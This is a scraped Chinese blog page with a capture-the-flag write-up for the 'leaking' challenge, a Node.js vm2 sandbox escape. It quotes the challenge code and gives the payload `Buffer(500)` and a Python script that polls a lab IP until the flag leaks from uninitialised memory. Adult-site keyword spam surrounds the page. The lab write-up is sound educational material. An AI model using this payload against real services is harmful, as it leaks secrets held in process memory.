日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界 WEB leaking

發(fā)布時間:2024/3/7 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界 WEB leaking 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

這題考的是node.js沙箱逃逸,之前沒遇到過,屬于是又學到新知識了
具體看這一篇,https://juejin.cn/post/6889226643525599240
簡單說一下原理吧,就是理論上沙箱里的代碼只能與vm上下文打交道,可是vm上下文確是可以與沙箱外的代碼和變量打交道的,因此,如果我們能夠構(gòu)造請求,
使得vm上下文代替我們?nèi)プx取利用沙箱外的代碼和變量的話,那就形成了沙箱逃逸,拿這一題來舉個例吧
先看一下代碼

"use strict";var randomstring = require("randomstring"); var express = require("express"); var {VM } = require("vm2"); var fs = require("fs");var app = express(); var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());} }); app.listen(3000, function() {console.log("listening on port 3000!"); });

由于第一個eval把flag讀入了在內(nèi)存中的全局變量
所以只要我們能通過沙箱里的eval去讀取內(nèi)存中的內(nèi)容的話,就可以形成沙箱逃逸
這題甚至都沒有用到什么原型鏈,直接用Buffer()函數(shù)用于讀取內(nèi)存的內(nèi)容,可以通過這個函數(shù)直接去讀取全局內(nèi)存中的內(nèi)容
由于內(nèi)存的保護機制,并不是每一次都能讀取到含有flag內(nèi)容的代碼的,多運行幾次就好了,上腳本

# encoding=utf-8import requests import time import re url = 'http://111.200.241.244:49433/?data=Buffer(500)' response = '' while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(re.findall(r'flag{.+}',response))break

參考視頻鏈接:https://www.bilibili.com/video/BV11f4y1n71A/

總結(jié)

以上是生活随笔為你收集整理的攻防世界 WEB leaking的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 欧美一区二区视频在线 | 欧美另类v | 丰满人妻老熟妇伦人精品 | 精品一区二区三区免费看 | 蜜桃视频在线观看一区二区 | 五月天激情婷婷 | 一区二区三区福利视频 | 精品国产无码一区二区三区 | 思思在线视频 | 精品一区二区av | 久久久久久久伊人 | 啊v视频在线 | 成年人晚上看的视频 | 亚色视频在线观看 | 国产日皮视频 | www黄色 | 青青草原综合网 | 亚州一二区 | 亚洲另类在线观看 | 亚洲做受高潮无遮挡 | 性生交大片免费看3p | www.97ai.com | 色乱码一区二区三区 | 国产人妖在线 | 午夜家庭影院 | 波多野结衣二区 | 少妇爽| 女裸全身无奶罩内裤内衣内裤 | 日韩视频在线观看视频 | 免费黄色看片网站 | 丰满雪白极品少妇流白浆 | 久久精品无码一区二区三区毛片 | 国产黄色网 | 国产人妻黑人一区二区三区 | 艳妇臀荡乳欲伦交换gif | 色污网站 | 色婷婷导航 | 日韩在线观看免费网站 | 日本激情一区 | 综合久草 | 国产色无码精品视频国产 | 一区二区三区免费在线观看视频 | 极品人妻一区二区 | 97在线免费公开视频 | 丰满秘书被猛烈进入高清播放在 | 又色又爽又黄无遮挡的免费视频 | www.欧美国产| 午夜激情一区二区 | 免费三片在线观看网站v888 | 免费a级大片 | 新91av| 婷婷的五月天 | 欧美整片sss | 精品久久久噜噜噜久久久 | 9.1在线观看免费 | 18黄暴禁片在线观看 | 欧美五月激情 | 成人mv| 粉嫩av一区二区三区免费观看 | 在线观看欧美日韩视频 | 免费久久一级欧美特大黄 | 成年人黄色一级片 | 亚洲精品一区二区三区在线 | 色av色| 久久午夜夜伦鲁鲁片无码免费 | 色欲狠狠躁天天躁无码中文字幕 | 精品国产一区二区三区四区 | 91免费视频网站 | 国产学生美女无遮拦高潮视频 | 91成人在线观看国产 | 影音先锋在线看片资源 | 欧美性猛交bbbbb精品 | 日本一区二区在线免费 | 日韩精品在线网站 | 毛片日韩 | 免费亚洲网站 | 加勒比色综合 | 成人免费毛片嘿嘿连载视频 | 亚洲AV午夜福利精品一级无码 | 亚洲wwwwww| 久久久精品人妻一区二区三区色秀 | 老熟妇一区二区三区 | 影院色原网站 | 91禁看片 | a级淫片 | 日韩伦理一区 | 久久91精品国产 | 91国产网站| 免费久久| 日本不卡一区二区在线观看 | 国产一级二级三级在线观看 | 伊人欧美 | 久久在线看 | 亚洲小视频在线观看 | 国产成人高清视频 | 麻豆理论片| 日韩性网站 | 国产中年熟女高潮大集合 | 亚洲国产网 |